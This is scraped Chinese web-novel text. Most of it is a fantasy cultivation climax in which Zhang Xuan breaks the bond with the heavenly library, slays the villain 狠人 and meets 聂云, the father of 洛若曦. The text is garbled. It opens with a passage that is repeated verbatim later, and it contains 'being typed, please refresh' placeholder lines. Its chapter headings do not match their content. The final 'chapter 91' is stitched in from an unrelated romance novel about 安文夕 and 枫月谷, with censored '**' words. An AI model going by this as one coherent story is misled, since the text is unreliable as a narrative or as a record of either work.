“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第90章 好久不见 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第91章 初来枫月谷 第九十一章初来枫月谷 他犹豫了一瞬,将手里的东西扔给安文夕道:“我们小姐岂是你说见就见的!” 安文夕微眯了下眼睛,握紧了手中的如意结。 “嘿,我说你这个小屁孩怎么蛮不讲理,好好说话你不听,是不是想打架啊!”袭匀怒道。 “这位公子,看着你风度翩翩的,怎么如此——粗鲁!”那小僮微微瞥了眼袭匀,淡道。 “噗——”一声轻笑从上面传来,一个娇小轻盈的身影从高处一跃而下。 大红的狐皮夹袄里面是一身嫩绿的褙子,头上再次飘满了万国旗,无数条小辫子随着她的下落而左右摆动。 但看这衣服装束,安文夕也能猜到是谁,对于月无双的审美观,她已深表无力。 安文夕不动声色的对月无双眨了眨眼睛,月无双看了眼她和欢凉的打扮,瞬间明白了安文夕的意思,一时不知道叫她什么好。 “怎么了无双,不认识你凤哥哥了?” 月无双嘴角一抽,凤哥哥……她倒是想的出来。 “你怎么突然来了,也没告诉我一声。” “我也是临时决定,不欢迎?” “欢迎,谁敢不欢迎。” 月无双话音刚落,刚才拒绝安文夕那个小僮不好意思的抓了抓头,他好像得罪无双小姐了,眼角微微扫了眼不远处的那一大坨东西,后背一片凉寒。 月无双将那小僮的动作收入眼底,笑道:“凤……凤哥哥别怪他们,是我让他们这样说的,你不觉得这样才能彰显我们枫月谷的霸气么!” 月无双歪着头想了一会道:“嗯……就像是你以前说的霸气侧漏,哈哈。” “啊!” 众人正说着话,袭匀的一声尖叫成功的吸引了众人的视线。 “它……它怎么会在这里?”袭匀食指微颤,指着蜷缩成一团的巨**道,那花斑银纹的巨物,分明就是刚才差点要了他的命的那条巨**。 “这是我的小乖,你别害怕,它不会伤害你的。”月无双对袭匀道。 袭匀看着刚才的那只巨**不断地摆动着蛇尾,嘴角一抽。 小乖?我的个乖乖,这么个庞然大物叫小乖…… “凤哥哥,这位是?”月无双抬眼看着一直沉默着的楚君昱问安文夕道。 楚君昱俊美无斯的脸上微微带了些笑意,白衣如雪,黑发墨染,抬眸含笑间朗风霁月,即使他没有说话,只是静静地伫立在那里,也难以让人将他忽略。 月无双看着面前妖魅又润泽的男子,心蓦地一跳。 “这位是玉公子。” “月小姐,在下此次前来枫月谷想来问谷主求一味药。”温润的嗓音如一泓清泉缓缓流进了月无双的心里。 她抬起头看向楚君昱道:“原来你是向爹爹求药的,既然如此,都随我来吧。” 月无双走了两步,又想起了盘在不远处的小乖,她忙对小僮道:“我带客人去见爹爹,你一会将小乖送到我的院子里。” 那小僮看了眼正玩着自己的蛇尾巴玩的不亦乐乎的小乖,脸色一僵,又看了眼月无双眼底的决绝,只得硬着头皮道:“是,小姐放心。” 进了谷,一股清幽的梅香扑面而来,谷内的风景与外面迥然不同,亭台楼阁,雕梁画栋美不胜收,里面的建筑布置倒颇有种江南风味。行了几步,眼前的景象陡然一变,视线蓦地变窄,所有的房舍都玲珑精致,一条幽静的葱荣小道直通主院而去。 刚进了主院,月无双便风风火火的冲进了房内,头上各色的发带迎风而摆。 “爹爹,娘亲,谷里来客人了!” 月无痕正在为风飘雪描眉,听到月无双的大嗓门,吓得手一哆嗦,画偏了。 风飘雪看着画坏的眉毛,眉头一蹙,使得原本画歪的眉毛更具有喜剧感。 “这么火急火燎的,不知道的还以为火烧你家房子了,你瞧瞧你哪有一点女孩子的样子!”她不满的指着画歪的眉毛对月无双道,“你看看,好好地眉毛都画歪了。” 